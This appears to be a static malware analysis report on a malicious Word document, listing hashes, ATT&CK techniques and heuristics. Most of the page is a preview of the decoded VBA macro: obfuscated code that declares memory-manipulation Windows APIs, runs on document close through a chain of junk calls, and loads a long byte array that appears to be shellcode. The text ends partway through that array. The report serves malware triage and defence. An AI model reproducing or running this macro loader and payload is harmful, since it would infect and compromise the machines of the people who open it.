Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9910ee2188935a0a…

MALICIOUS

Office (OLE)

208.0 KB Created: 2017-09-17 13:40:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 074fdbbcc051caefd5b7576066adb766 SHA-1: 328ce66f59864002387d768023012825b73c0b31 SHA-256: 9910ee2188935a0a45a54f6468c13a48e8a2378a05d8d717e88a34c844089afe
104 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Files or Information

The sample is a malicious Office document containing VBA macros. It uses a lure to convince the user to enable content, which is a common tactic for macro-based malware. The VBA code is obfuscated, making it difficult to determine the exact payload, but it references WriteProcessMemory, suggesting potential process injection or memory manipulation. The presence of obfuscated VBA macros and the lure to enable content strongly indicate a malicious dropper.

Heuristics 5

  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40031 bytes
SHA-256: 4f8b282956aa4e5e9d6540edb6e22696d97612325de0726dc7860d206d48309e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
77 of 146 identifiers look randomly generated (e.g. 'zvMatbsIP1iCZJ0QvjA67Xiq') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
pRIVAte dEcLArE pTRsafe fUncTION x148Z3ywXHAKfziM lIB "uSeR32" Alias "EnumPropsW" (byVaL sQNp as LonGpTr, byvAl zyelX6I99Ai aS LOngptR)  As LonG
PrivaTE DeClaRe PtrSAFE FuNCtion TYy7v6olZK4BxKkhT lIb "uSER32" AliaS "GetDesktopWindow" ()  AS longPTR
prIvATe DeCLare pTRSaFe FUnctIoN uTdKOxh6ovLEYxLmaVvMgz LIB "User32" AlIAs "SetPropW" (byvAL uIL3Em9dUYxV AS LONgPtr, BYVAl sW7r46FLG4RHW2 aS LOngpTr, BYval OR9Gwdr AS lONgPtR)  AS lOng
PRiVaTE declARE pTrsAfE fUnCTiOn Gy3RKuzvmUDXyIblY lIb "kERNEl32" alIaS "HeapCreate" (Byval J5sS5degPJw aS loNg, BYval FlMmT As LongPtR, Byval d8sl aS lONGpTr)  AS LOngpTr
pRivAtE deCLARe ptRsAFe FUNcTioN HrSgfDq6VzwIR7 LIb "keRnEL32" aLiAS "HeapAlloc" (BYvAl aIRZ aS LoNGptr, ByvAl cadV28TDyQtT6Q aS LOng, bYvAL UC3RIy1zCKZVasF aS lONGpTr)  AS LOngpTr
pRivAtE deCLARe ptRsAFe Sub Ef5qyv5EQJtY0pbGmX liB "KERnel32" AlIAs "RtlMoveMemory" (rb0ov7IaTVkgJZcE as ANy, ZTKI as ANy, byvAL ZgQf3A8pdIyN7kyV as lONG)

#Else
Private Declare Function x148z3yWxHAkFzIM Lib "USer32" Alias "EnumPropsW" (ByVal EZR60NPgEhjU As Long, ByVal aofH6UR18ELzMA7V As Long) As Long
Private Declare Function TYY7v6OlzK4bXkkHT Lib "USer32" Alias "GetDesktopWindow" () As Long
Private Declare Function UtDkOXh6ovlEYXlMavVmGz Lib "USer32" Alias "SetPropW" (ByVal UnR6sjbY As Long, ByVal E67Vc As Long, ByVal jXaU As Long) As Long
Private Declare Function GY3rkuzVMUdXyiBlY Lib "kerNeL32" Alias "HeapCreate" (ByVal XSw91AIfVquDpwOX As Long, ByVal xnma1TMYlNgI9 As Long, ByVal no2PNMsFj0ernCqjx As Long) As Long
Private Declare Function hRsgFDQ6VzwiR7 Lib "kerNeL32" Alias "HeapAlloc" (ByVal OzZU As Long, ByVal c0fHcWNrGM7b0 As Long, ByVal JO2TFwwd5K As Long) As Long
Private Declare Sub ef5QYV5eQjtY0pBgmX Lib "kerNeL32" Alias "RtlMoveMemory" (cEb As Any, cGF16QRrOgtLq8d As Any, ByVal Az9UgB9CcFTEcXd As Long)

#End If

Sub DoCumEnT_clOSE()
Call NK8b9w6JfCU
End Sub
Sub NK8b9w6JfCU()
Call unTEItV003zkGXxyMPjK
End Sub
Static Function unTEItV003zkGXxyMPjK() As Double
Call H3oAxb4KrbYYt3gi
End Function
Function H3oAxb4KrbYYt3gi() As Variant
Call BbymNVicr3IqzP
End Function
Public Function BbymNVicr3IqzP() As String
Call Zvem3BM4h7e6ZVYed1OmrP
End Function
Public Function Zvem3BM4h7e6ZVYed1OmrP() As Object
Call NXemTj06FdIML74UDV
End Function
Static Function NXemTj06FdIML74UDV() As Integer
Call j9ucVnasnZcarF6WN3ss
End Function
Private Function j9ucVnasnZcarF6WN3ss() As Long
Call OF3WOLz8qP74
End Function
Public Function OF3WOLz8qP74() As Boolean
Call R2ax3EODPkcFrC0DpGM3B40
End Function
Private Function R2ax3EODPkcFrC0DpGM3B40() As Boolean
Call CPl8wxxu4RvGKNpq
End Function
Static Function CPl8wxxu4RvGKNpq() As Currency
Call D2o1hOEPPayVxuYvlS4D9
End Function
Static Function D2o1hOEPPayVxuYvlS4D9() As Date
Call z3o67z8CvrCiPPoWjN2cNP48
End Function
Function z3o67z8CvrCiPPoWjN2cNP48() As Variant
Call NT8MRzGKLl
End Function
Static Function NT8MRzGKLl() As Integer
Call rD08pz6IDHay1rk2hng6vfMu
End Function
Function rD08pz6IDHay1rk2hng6vfMu() As Variant
Call FXGIB5OWJp
End Function
Static Function FXGIB5OWJp() As Integer
Call zvMatbsIP1iCZJ0QvjA67Xiq
End Function
Function zvMatbsIP1iCZJ0QvjA67Xiq() As Variant
Call JfEKBNMaVP
End Function
Static Function JfEKBNMaVP() As Integer
Call XpUInBA0NhQeH9WyTF0sPpIA
End Function
Function XpUInBA0NhQeH9WyTF0sPpIA() As Currency
Call V54abloAR7
End Function
Static Function V54abloAR7() As Integer
Call bBcCdlqs53CmTpOa3ZQIpTuk
End Function
Function bBcCdlqs53CmTpOa3ZQIpTuk() As Variant
Call N5SojH2yll
End Function
Static Function N5SojH2yll() As Double
Call rNesfvOQ7v667vImx1is3Xya
End Function
Function rNesfvOQ7v667vImx1is3Xya() As Single
Call R7AMTdQqFF
End Function
Static Function R7AMTdQqFF() As Double
Call rvYWjxOMhJMmnfYCdXIGtDWI
End Function
Function rvYWjxOMhJMmnfYCdXIGtDWI() As Variant
Call xj8kr5Wmn5
End Function
Static Function xj8kr5Wmn5() As Double
Call nzySpDayhJo6hP8cfDkglJi6
End Function
Function nzySpDayhJo6hP8cfDkglJi6() As Variant
Call R7u4ZZSqPx
End Function
Static Function R7u4ZZSqPx() As Integer
Call jJ8c5BKC3fQUBbawDFkYjlMu
End Function
Function jJ8c5BKC3fQUBbawDFkYjlMu() As Variant
Call Jb8aNdWojd
End Function
Static Function Jb8aNdWojd() As Date
Call znu4D16atFmyfr8g7TaMx9sA
End Function
Function znu4D16atFmyfr8g7TaMx9sA() As Variant
Call Fbc8Bx6UX1
End Function
Static Function Fbc8Bx6UX1() As Double
Call rRIWbRWovV6ElNaUJpiEF7oW
End Function
Function rRIWbRWovV6ElNaUJpiEF7oW() As Variant
Call VBGk1pksj9
End Function
Static Function VBGk1pksj9() As Integer
Call vbMsxxgOXBOKNtoE
End Function

Sub vbMsxxgOXBOKNtoE()
Dim BzM4VD687JUip As Long, wyxvqwHLMmTL0 As Long, Io7RMMrj2 As Variant
#If VBA7 Then
Dim PMQ5FACl3uApdgcT As lONgptr
#Else
Dim PMQ5FACl3uApdgcT As Long
#End If
ReDim Io7RMMrj2(1561)
Io7RMMrj2(0) = 235
Io7RMMrj2(1) = 14
Io7RMMrj2(2) = 235
Io7RMMrj2(3) = 85
Io7RMMrj2(4) = 233
Io7RMMrj2(5) = 145
Io7RMMrj2(6) = 0
Io7RMMrj2(7) = 0
Io7RMMrj2(8) = 0
Io7RMMrj2(9) = 87
Io7RMMrj2(10) = 235
Io7RMMrj2(11) = 71
Io7RMMrj2(12) = 80
Io7RMMrj2(13) = 88
Io7RMMrj2(14) = 235
Io7RMMrj2(15) = 94
Io7RMMrj2(16) = 81
Io7RMMrj2(17) = 235
Io7RMMrj2(18) = 246
Io7RMMrj2(19) = 235
Io7RMMrj2(20) = 237
Io7RMMrj2(21) = 232
Io7RMMrj2(22) = 0
Io7RMMrj2(23) = 0
Io7RMMrj2(24) = 0
Io7RMMrj2(25) = 0
Io7RMMrj2(26) = 89
Io7RMMrj2(27) = 129
Io7RMMrj2(28) = 193
Io7RMMrj2(29) = 103
Io7RMMrj2(30) = 1
Io7RMMrj2(31) = 0
Io7RMMrj2(32) = 0
Io7RMMrj2(33) = 141
Io7RMMrj2(34) = 185
Io7RMMrj2(35) = 149
Io7RMMrj2(36) = 4
Io7RMMrj2(37) = 0
Io7RMMrj2(38) = 0
Io7RMMrj2(39) = 129
Io7RMMrj2(40) = 49
Io7RMMrj2(41) = 215
Io7RMMrj2(42) = 228
Io7RMMrj2(43) = 227
Io7RMMrj2(44) = 179
Io7RMMrj2(45) = 131
Io7RMMrj2(46) = 193
Io7RMMrj2(47) = 4
Io7RMMrj2(48) = 144
Io7RMMrj2(49) = 235
Io7RMMrj2(50) = 53
Io7RMMrj2(51) = 235
Io7RMMrj2(52) = 30
Io7RMMrj2(53) = 235
Io7RMMrj2(54) = 41
Io7RMMrj2(55) = 156
Io7RMMrj2(56) = 80
Io7RMMrj2(57) = 88
Io7RMMrj2(58) = 86
Io7RMMrj2(59) = 144
Io7RMMrj2(60) = 141
Io7RMMrj2(61) = 182
Io7RMMrj2(62) = 213
Io7RMMrj2(63) = 90
Io7RMMrj2(64) = 0
Io7RMMrj2(65) = 0
Io7RMMrj2(66) = 141
Io7RMMrj2(67) = 182
Io7RMMrj2(68) = 173
Io7RMMrj2(69) = 84
Io7RMMrj2(70) = 0
Io7RMMrj2(71) = 0
Io7RMMrj2(72) = 94
Io7RMMrj2(73) = 157
Io7RMMrj2(74) = 235
Io7RMMrj2(75) = 13
Io7RMMrj2(76) = 95
Io7RMMrj2(77) = 235
Io7RMMrj2(78) = 181
Io7RMMrj2(79) = 235
Io7RMMrj2(80) = 15
Io7RMMrj2(81) = 235
Io7RMMrj2(82) = 27
Io7RMMrj2(83) = 235
Io7RMMrj2(84) = 192
Io7RMMrj2(85) = 235
Io7RMMrj2(86) = 185
Io7RMMrj2(87) = 235
Io7RMMrj2(88) = 7
Io7RMMrj2(89) = 232
Io7RMMrj2(90) = 167
Io7RMMrj2(91) = 1
Io7RMMrj2(92) = 0
Io7RMMrj2(93) = 0
Io7RMMrj2(94) = 235
Io7RMMrj2(95) = 236
Io7RMMrj2(96) = 141
Io7RMMrj2(97) = 143
Io7RMMrj2(98) = 107
Io7RMMrj2(99) = 251
Io7RMMrj2(100) = 255
Io7RMMrj2(101) = 255
Io7RMMrj2(102) = 235
Io7RMMrj2(103) = 166
Io7RMMrj2(104) = 57
Io7RMMrj2(105) = 249
Io7RMMrj2(106) = 114
Io7RMMrj2(107) = 187
Io7RMMrj2(108) = 235
Io7RMMrj2(109) = 199
Io7RMMrj2(110) = 235
Io7RMMrj2(111) = 233
Io7RMMrj2(112) = 156
Io7RMMrj2(113) = 81
Io7RMMrj2(114) = 81
Io7RMMrj2(115) = 141
Io7RMMrj2(116) = 137
Io7RMMrj2(117) = 191
Io7RMMrj2(118) = 44
Io7RMMrj2(119) = 0
Io7RMMrj2(120) = 0
Io7RMMrj2(121) = 141
Io7RMMrj2(122) = 137
Io7RMMrj2(123) = 201
Io7RMMrj2(124) = 4
Io7RMMrj2(125) = 0
Io7RMMrj2(126) = 0
Io7RMMrj2(127) = 141
Io7RMMrj2(128) = 137
Io7RMMrj2(129) = 193
Io7RMMrj2(130) = 62
Io7RMMrj2(131) = 0
Io7RMMrj2(132) = 0
Io7RMMrj2(133) = 141
Io7RMMrj2(134) = 137
Io7RMMrj2(135) = 36
Io7RMMrj2(136) = 124
Io7RMMrj2(137) = 0
Io7RMMrj2(138) = 0
Io7RMMrj2(139) = 141
Io7RMMrj2(140) = 137
Io7RMMrj2(141) = 188
Io7RMMrj2(142) = 45
Io7RMMrj2(143) = 0
Io7RMMrj2(144) = 0
Io7RMMrj2(145) = 141
Io7RMMrj2(146) = 137
Io7RMMrj2(147) = 216
Io7RMMrj2(148) = 48
Io7RMMrj2(149) = 0
Io7RMMrj2(150) = 0
Io7RMMrj2(151) = 89
Io7RMMrj2(152) = 89
Io7RMMrj2(153) = 157
Io7RMMrj2(154) = 89
Io7RMMrj2(155) = 156
Io7RMMrj2(156) = 86
Io7RMMrj2(157) = 83
Io7RMMrj2(158) = 82
Io7RMMrj2(159) = 129
Io7RMMrj2(160) = 194
Io7RMMrj2(161) = 11
Io7RMMrj2(162) = 12
Io7RMMrj2(163) = 0
Io7RMMrj2(164) = 0
Io7RMMrj2(165) = 129
Io7RMMrj2(166) = 194
Io7RMMrj2(167) = 171
Io7RMMrj2(168) = 19
Io7RMMrj2(169) = 0
Io7RMMrj2(170) = 0
Io7RMMrj2(171) = 141
Io7RMMrj2(172) = 154
Io7RMMrj2(173) = 126
Io7RMMrj2(174) = 44
Io7RMMrj2(175) = 0
Io7RMMrj2(176) = 0
Io7RMMrj2(177) = 141
Io7RMMrj2(178) = 146
Io7RMMrj2(179) = 16
Io7RMMrj2(180) = 68
Io7RMMrj2(181) = 0
Io7RMMrj2(182) = 0
Io7RMMrj2(183) = 86
Io7RMMrj2(184) = 94
Io7RMMrj2(185) = 90
Io7RMMrj2(186) = 91
Io7RMMrj2(187) = 94
Io7RMMrj2(188) = 157
Io7RMMrj2(189) = 195
Io7RMMrj2(190) = 61
Io7RMMrj2(191) = 14
Io7RMMrj2(192) = 242
Io7RMMrj2(193) = 11
Io7RMMrj2(194) = 119
Io7RMMrj2(195) = 88
Io7RMMrj2(196) = 204
Io7RMMrj2(197) = 245
Io7RMMrj2(198) = 241
Io7RMMrj2(199) = 226
Io7RMMrj2(200) = 230
Io7RMMrj2(201) = 31
Io7RMMrj2(202) = 171
Io7RMMrj2(203) = 172
Io7RMMrj2(204) = 64
Io7RMMrj2(205) = 137
Io7RMMrj2(206) = 165
Io7RMMrj2(207) = 182
Io7RMMrj2(208) = 218
Io7RMMrj2(209) = 51
Io7RMMrj2(210) = 223
Io7RMMrj2(211) = 0
Io7RMMrj2(212) = 180
Io7RMMrj2(213) = 29
Io7RMMrj2(214) = 89
Io7RMMrj2(215) = 138
Io7RMMrj2(216) = 206
Io7RMMrj2(217) = 71
Io7RMMrj2(218) = 19
Io7RMMrj2(219) = 84
Io7RMMrj2(220) = 40
Io7RMMrj2(221) = 177
Io7RMMrj2(222) = 13
Io7RMMrj2(223) = 94
Io7RMMrj2(224) = 194
Io7RMMrj2(225) = 91
Io7RMMrj2(226) = 71
Io7RMMrj2(227) = 168
Io7RMMrj2(228) = 156
Io7RMMrj2(229) = 69
Io7RMMrj2(230) = 193
Io7RMMrj2(231) = 50
Io7RMMrj2(232) = 182
Io7RMMrj2(233) = 111
Io7RMMrj2(234) = 123
Io7RMMrj2(235) = 252
Io7RMMrj2(236) = 16
Io7RMMrj2(237) = 217
Io7RMMrj2(238) = 117
Io7RMMrj2(239) = 6
Io7RMMrj2(240) = 170
Io7RMMrj2(241) = 131
Io7RMMrj2(242) = 175
Io7RMMrj2(243) = 80
Io7RMMrj2(244) = 132
Io7RMMrj2(245) = 109
Io7RMMrj2(246) = 41
Io7RMMrj2(247) = 218
Io7RMMrj2(248) = 158
Io7RMMrj2(249) = 151
Io7RMMrj2(250) = 227
Io7RMMrj2(251) = 164
Io7RMMrj2(252) = 248
Io7RMMrj2(253) = 1
Io7RMMrj2(254) = 221
Io7RMMrj2(255) = 174
Io7RMMrj2(256) = 146
Io7RMMrj2(257) = 171
Io7RMMrj2(258) = 23
Io7RMMrj2(259) = 248
Io7RMMrj2(260) = 108
Io7RMMrj2(261) = 149
Io7RMMrj2(262) = 145
Io7RMMrj2(263) = 130
Io7RMMrj2(264) = 134
Io7RMMrj2(265) = 191
Io7RMMrj2(266) = 75
Io7RMMrj2(267) = 76
Io7RMMrj2(268) = 224
Io7RMMrj2(269) = 41
Io7RMMrj2(270) = 69
Io7RMMrj2(271) = 86
Io7RMMrj2(272) = 122
Io7RMMrj2(273) = 211
Io7RMMrj2(274) = 127
Io7RMMrj2(275) = 160
Io7RMMrj2(276) = 84
Io7RMMrj2(277) = 189
Io7RMMrj2(278) = 249
Io7RMMrj2(279) = 42
Io7RMMrj2(280) = 110
Io7RMMrj2(281) = 231
Io7RMMrj2(282) = 179
Io7RMMrj2(283) = 244
Io7RMMrj2(284) = 200
Io7RMMrj2(285) = 81
Io7RMMrj2(286) = 173
Io7RMMrj2(287) = 254
Io7RMMrj2(288) = 98
Io7RMMrj2(289) = 251
Io7RMMrj2(290) = 231
Io7RMMrj2(291) = 72
Io7RMMrj2(292) = 60
Io7RMMrj2(293) = 229
Io7RMMrj2(294) = 97
Io7RMMrj2(295) = 210
Io7RMMrj2(296) = 86
Io7RMMrj2(297) = 15
Io7RMMrj2(298) = 27
Io7RMMrj2(299) = 156
Io7RMMrj2(300) = 176
Io7RMMrj2(301) = 121
Io7RMMrj2(302) = 21
Io7RMMrj2(303) = 166
Io7RMMrj2(304) = 74
Io7RMMrj2(305) = 35
Io7RMMrj2(306) = 79
Io7RMMrj2(307) = 240
Io7RMMrj2(308) = 36
Io7RMMrj2(309) = 13
Io7RMMrj2(310) = 201
Io7RMMrj2(311) = 122
Io7RMMrj2(312) = 62
Io7RMMrj2(313) = 55
Io7RMMrj2(314) = 131
Io7RMMrj2(315) = 68
Io7RMMrj2(316) = 152
Io7RMMrj2(317) = 161
Io7RMMrj2(318) = 125
Io7RMMrj2(319) = 78
Io7RMMrj2(320) = 50
Io7RMMrj2(321) = 75
Io7RMMrj2(322) = 183
Io7RMMrj2(323) = 152
Io7RMMrj2(324) = 12
Io7RMMrj2(325) = 53
Io7RMMrj2(326) = 49
Io7RMMrj2(327) = 34
Io7RMMrj2(328) = 38
Io7RMMrj2(329) = 95
Io7RMMrj2(330) = 235
Io7RMMrj2(331) = 236
Io7RMMrj2(332) = 128
Io7RMMrj2(333) = 201
Io7RMMrj2(334) = 229
Io7RMMrj2(335) = 246
Io7RMMrj2(336) = 26
Io7RMMrj2(337) = 115
Io7RMMrj2(338) = 31
Io7RMMrj2(339) = 64
Io7RMMrj2(340) = 244
Io7RMMrj2(341) = 93
Io7RMMrj2(342) = 153
Io7RMMrj2(343) = 202
Io7RMMrj2(344) = 14
Io7RMMrj2(345) = 135
Io7RMMrj2(346) = 83
Io7RMMrj2(347) = 148
Io7RMMrj2(348) = 104
Io7RMMrj2(349) = 241
Io7RMMrj2(350) = 77
Io7RMMrj2(351) = 158
Io7RMMrj2(352) = 2
Io7RMMrj2(353) = 155
Io7RMMrj2(354) = 135
Io7RMMrj2(355) = 232
Io7RMMrj2(356) = 220
Io7RMMrj2(357) = 133
Io7RMMrj2(358) = 1
Io7RMMrj2(359) = 114
Io7RMMrj2(360) = 246
Io7RMMrj2(361) = 175
Io7RMMrj2(362) = 187
Io7RMMrj2(363) = 60
Io7RMMrj2(364) = 80
Io7RMMrj2(365) = 25
Io7RMMrj2(366) = 181
Io7RMMrj2(367) = 70
Io7RMMrj2(368) = 234
Io7RMMrj2(369) = 195
Io7RMMrj2(370) = 239
Io7RMMrj2(371) = 144
Io7RMMrj2(372) = 196
Io7RMMrj2(373) = 173
Io7RMMrj2(374) = 105
Io7RMMrj2(375) = 26
Io7RMMrj2(376) = 222
Io7RMMrj2(377) = 215
Io7RMMrj2(378) = 35
Io7RMMrj2(379) = 228
Io7RMMrj2(380) = 56
Io7RMMrj2(381) = 65
Io7RMMrj2(382) = 29
Io7RMMrj2(383) = 238
Io7RMMrj2(384) = 210
Io7RMMrj2(385) = 191
Io7RMMrj2(386) = 228
Io7RMMrj2(387) = 151
Io7RMMrj2(388) = 179
Io7RMMrj2(389) = 163
Io7RMMrj2(390) = 228
Io7RMMrj2(391) = 147
Io7RMMrj2(392) = 179
Io7RMMrj2(393) = 237
Io7RMMrj2(394) = 228
Io7RMMrj2(395) = 204
Io7RMMrj2(396) = 179
Io7RMMrj2(397) = 248
Io7RMMrj2(398) = 228
Io7RMMrj2(399) = 140
Io7RMMrj2(400) = 179
Io7RMMrj2(401) = 180
Io7RMMrj2(402) = 228
Io7RMMrj2(403) = 134
Io7RMMrj2(404) = 179
Io7RMMrj2(405) = 182
Io7RMMrj2(406) = 228
Io7RMMrj2(407) = 141
Io7RMMrj2(408) = 179
Io7RMMrj2(409) = 177
Io7RMMrj2(410) = 228
Io7RMMrj2(411) = 145
Io7RMMrj2(412) = 179
Io7RMMrj2(413) = 178
Io7RMMrj2(414) = 228
Io7RMMrj2(415) = 138
Io7RMMrj2(416) = 179
Io7RMMrj2(417) = 176
Io7RMMrj2(418) = 228
Io7RMMrj2(419) = 139
Io7RMMrj2(420) = 179
Io7RMMrj2(421) = 163
Io7RMMrj2(422) = 228
Io7RMMrj2(423) = 128
Io7RMMrj2(424) = 179
Io7RMMrj2(425) = 187
Io7RMMrj2(426) = 228
Io7RMMrj2(427) = 150
Io7RMMrj2(428) = 179
Io7RMMrj2(429) = 181
Io7RMMrj2(430) = 228
Io7RMMrj2(431) = 144
Io7RMMrj2(432) = 179
Io7RMMrj2(433) = 249
Io7RMMrj2(434) = 228
Io7RMMrj2(435) = 138
Io7RMMrj2(436) = 179
Io7RMMrj2(437) = 165
Io7RMMrj2(438) = 228
Io7RMMrj2(439) = 204
Io7RMMrj2(440) = 179
Io7RMMrj2(441) = 176
Io7RMMrj2(442) = 228
Io7RMMrj2(443) = 144
Io7RMMrj2(444) = 179
Io7RMMrj2(445) = 165
Io7RMMrj2(446) = 228
Io7RMMrj2(447) = 132
Io7RMMrj2(448) = 179
Io7RMMrj2(449) = 176
Io7RMMrj2(450) = 228
Io7RMMrj2(451) = 204
Io7RMMrj2(452) = 179
Io7RMMrj2(453) = 163
Io7RMMrj2(454) = 228
Io7RMMrj2(455) = 147
Io7RMMrj2(456) = 179
Io7RMMrj2(457) = 162
Io7RMMrj2(458) = 228
Io7RMMrj2(459) = 151
Io7RMMrj2(460) = 179
Io7RMMrj2(461) = 224
Io7RMMrj2(462) = 228
Io7RMMrj2(463) = 212
Io7RMMrj2(464) = 179
Io7RMMrj2(465) = 150
Io7RMMrj2(466) = 228
Io7RMMrj2(467) = 214
Io7RMMrj2(468) = 179
Io7RMMrj2(469) = 228
Io7RMMrj2(470) = 228
Io7RMMrj2(471) = 215
Io7RMMrj2(472) = 179
Io7RMMrj2(473) = 231
Io7RMMrj2(474) = 228
Io7RMMrj2(475) = 205
Io7RMMrj2(476) = 179
Io7RMMrj2(477) = 178
Io7RMMrj2(478) = 228
Io7RMMrj2(479) = 155
Io7RMMrj2(480) = 179
Io7RMMrj2(481) = 178
Io7RMMrj2(482) = 228
Io7RMMrj2(483) = 227
Io7RMMrj2(484) = 179
Io7RMMrj2(485) = 242
Io7RMMrj2(486) = 228
Io7RMMrj2(487) = 183
Io7RMMrj2(488) = 179
Io7RMMrj2(489) = 146
Io7RMMrj2(490) = 228
Io7RMMrj2(491) = 174
Io7RMMrj2(492) = 179
Io7RMMrj2(493) = 135
Io7RMMrj2(494) = 228
Io7RMMrj2(495) = 198
Io7RMMrj2(496) = 179
Io7RMMrj2(497) = 215
Io7RMMrj2(498) = 228
Io7RMMrj2(499) = 141
Io7RMMrj2(500) = 179
Io7RMMrj2(501) = 182
Io7RMMrj2(502) = 228
Io7RMMrj2(503) = 142
Io7RMMrj2(504) = 179
Io7RMMrj2(505) = 178
Io7RMMrj2(506) = 228
Io7RMMrj2(507) = 227
Io7RMMrj2(508) = 179
Io7RMMrj2(509) = 178
Io7RMMrj2(510) = 228
Io7RMMrj2(511) = 155
Io7RMMrj2(512) = 179
Io7RMMrj2(513) = 178
Io7RMMrj2(514) = 228
Io7RMMrj2(515) = 227
Io7RMMrj2(516) = 179
Io7RMMrj2(517) = 130
Io7RMMrj2(518) = 111
Io7RMMrj2(519) = 15
Io7RMMrj2(520) = 48
Io7RMMrj2(521) = 51
Io7RMMrj2(522) = 28
Io7RMMrj2(523) = 98
Io7RMMrj2(524) = 95
Io7RMMrj2(525) = 91
Io7RMMrj2(526) = 230
Io7RMMrj2(527) = 227
Io7RMMrj2(528) = 179
Io7RMMrj2(529) = 132
Io7RMMrj2(530) = 178
Io7RMMrj2(531) = 180
Io7RMMrj2(532) = 58
Io7RMMrj2(533) = 155
Io7RMMrj2(534) = 192
Io7RMMrj2(535) = 151
Io7RMMrj2(536) = 215
Io7RMMrj2(537) = 118
Io7RMMrj2(538) = 212
Io7RMMrj2(539) = 227
Io7RMMrj2(540) = 179
Io7RMMrj2(541) = 215
Io7RMMrj2(542) = 215
Io7RMMrj2(543) = 56
Io7RMMrj2(544) = 116
Io7RMMrj2(545) = 147
Io7RMMrj2(546) = 192
Io7RMMrj2(547) = 247
Io7RMMrj2(548) = 230
Io7RMMrj2(549) = 165
Io7RMMrj2(550) = 136
Io7RMMrj2(551) = 142
Io7RMMrj2(552) = 213
Io7RMMrj2(553) = 16
Io7RMMrj2(554) = 160
Io7RMMrj2(555) = 199
Io7RMMrj2(556) = 171
Io7RMMrj2(557) = 184
Io7RMMrj2(558) = 138
Io7RMMrj2(559) = 107
Io7RMMrj2(560) = 239
Io7RMMrj2(561) = 243
Io7RMMrj2(562) = 254
Io7RMMrj2(563) = 36
Io7RMMrj2(564) = 247
Io7RMMrj2(565) = 243
Io7RMMrj2(566) = 164
Io7RMMrj2(567) = 182
Io7RMMrj2(568) = 225
Io7RMMrj2(569) = 155
Io7RMMrj2(570) = 160
Io7RMMrj2(571) = 36
Io7RMMrj2(572) = 247
Io7RMMrj2(573) = 243
Io7RMMrj2(574) = 160
Io7RMMrj2(575) = 140
Io7RMMrj2(576) = 196
Io7RMMrj2(577) = 185
Io7RMMrj2(578) = 136
Io7RMMrj2(579) = 36
Io7RMMrj2(580) = 247
Io7RMMrj2(581) = 243
Io7RMMrj2(582) = 172
Io7RMMrj2(583) = 140
Io7RMMrj2(584) = 210
Io7RMMrj2(585) = 179
Io7RMMrj2(586) = 176
Io7RMMrj2(587) = 36
Io7RMMrj2(588) = 247
Io7RMMrj2(589) = 243
Io7RMMrj2(590) = 168
Io7RMMrj2(591) = 140
Io7RMMrj2(592) = 245
Io7RMMrj2(593) = 190
Io7RMMrj2(594) = 136
Io7RMMrj2(595) = 133
Io7RMMrj2(596) = 116
Io7RMMrj2(597) = 147
Io7RMMrj2(598) = 192
Io7RMMrj2(599) = 179
Io7RMMrj2(600) = 214
Io7RMMrj2(601) = 128
Io7RMMrj2(602) = 108
Io7RMMrj2(603) = 191
Io7RMMrj2(604) = 151
Io7RMMrj2(605) = 133
Io7RMMrj2(606) = 35
Io7RMMrj2(607) = 167
Io7RMMrj2(608) = 151
Io7RMMrj2(609) = 203
Io7RMMrj2(610) = 183
Io7RMMrj2(611) = 139
Io7RMMrj2(612) = 214
Io7RMMrj2(613) = 187
Io7RMMrj2(614) = 35
Io7RMMrj2(615) = 167
Io7RMMrj2(616) = 151
Io7RMMrj2(617) = 247
Io7RMMrj2(618) = 136
Io7RMMrj2(619) = 208
Io7RMMrj2(620) = 129
Io7RMMrj2(621) = 215
Io7RMMrj2(622) = 35
Io7RMMrj2(623) = 167
Io7RMMrj2(624) = 151
Io7RMMrj2(625) = 231
Io7RMMrj2(626) = 183
Io7RMMrj2(627) = 139
Io7RMMrj2(628) = 214
Io7RMMrj2(629) = 187
Io7RMMrj2(630) = 35
Io7RMMrj2(631) = 167
Io7RMMrj2(632) = 151
Io7RMMrj2(633) = 227
Io7RMMrj2(634) = 136
Io7RMMrj2(635) = 166
Io7RMMrj2(636) = 203
Io7RMMrj2(637) = 178
Io7RMMrj2(638) = 35
Io7RMMrj2(639) = 167
Io7RMMrj2(640) = 151
Io7RMMrj2(641) = 239
Io7RMMrj2(642) = 135
Io7RMMrj2(643) = 150
Io7RMMrj2(644) = 199
Io7RMMrj2(645) = 178
Io7RMMrj2(646) = 130
Io7RMMrj2(647) = 36
Io7RMMrj2(648) = 247
Io7RMMrj2(649) = 243
Io7RMMrj2(650) = 216
Io7RMMrj2(651) = 180
Io7RMMrj2(652) = 179
Io7RMMrj2(653) = 16
Io7RMMrj2(654) = 160
Io7RMMrj2(655) = 199
Io7RMMrj2(656) = 231
Io7RMMrj2(657) = 146
Io7RMMrj2(658) = 156
Io7RMMrj2(659) = 147
Io7RMMrj2(660) = 210
Io7RMMrj2(661) = 16
Io7RMMrj2(662) = 160
Io7RMMrj2(663) = 199
Io7RMMrj2(664) = 235
Io7RMMrj2(665) = 185
Io7RMMrj2(666) = 128
Io7RMMrj2(667) = 166
Io7RMMrj2(668) = 221
Io7RMMrj2(669) = 16
